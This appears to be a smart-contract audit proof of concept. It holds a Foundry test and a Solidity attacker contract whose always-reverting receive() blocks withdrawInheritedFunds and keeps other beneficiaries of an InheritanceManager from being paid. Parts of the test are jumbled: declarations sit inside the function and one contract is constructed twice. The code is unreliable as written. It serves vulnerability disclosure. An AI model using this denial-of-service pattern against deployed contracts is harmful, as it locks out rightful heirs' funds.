The test case below shows how the malicious beneficiary prevents other beneficiaries from receiving their funds:
function testMaliciousReentrantBeneficiary() public {
vm.prank(owner);
inheritanceManager = new InheritanceManager();
vm.deal(address(inheritanceManager), 10 ether);
malicouseBeneficiary = new MaliciousReentrantBeneficiary(
address(inheritanceManager)
);
InheritanceManager public inheritanceManager;
MaliciousReentrantBeneficiary public malicouseBeneficiary;
address public owner = makeAddr("owner");
malicouseBeneficiary = new MaliciousReentrantBeneficiary(
address(inheritanceManager)
);
address beneficiary2 = address(0x333);
address beneficiary3 = address(0x444);
vm.startPrank(owner);
inheritanceManager.addBeneficiery(address(malicouseBeneficiary));
inheritanceManager.addBeneficiery(beneficiary2);
inheritanceManager.addBeneficiery(beneficiary3);
vm.stopPrank();
vm.warp(block.timestamp + 91 days);
console.log("beneficiary2 balance before", beneficiary2.balance);
console.log("beneficiary3 balance before", beneficiary3.balance);
vm.startPrank(address(malicouseBeneficiary));
inheritanceManager.inherit();
vm.expectRevert();
malicouseBeneficiary.attack();
vm.stopPrank();
console.log("===== contract address after inherit invoke ======");
console.log(address(inheritanceManager).balance);
console.log("beneficiary2 balance after", beneficiary2.balance);
console.log("beneficiary3 balance after", beneficiary3.balance);
}
contract MaliciousReentrantBeneficiary {
InheritanceManager public target;
constructor(address _target) {
target = InheritanceManager(_target);
}
function attack() external {
target.withdrawInheritedFunds(address(0));
}
receive() external payable {
revert();
}
}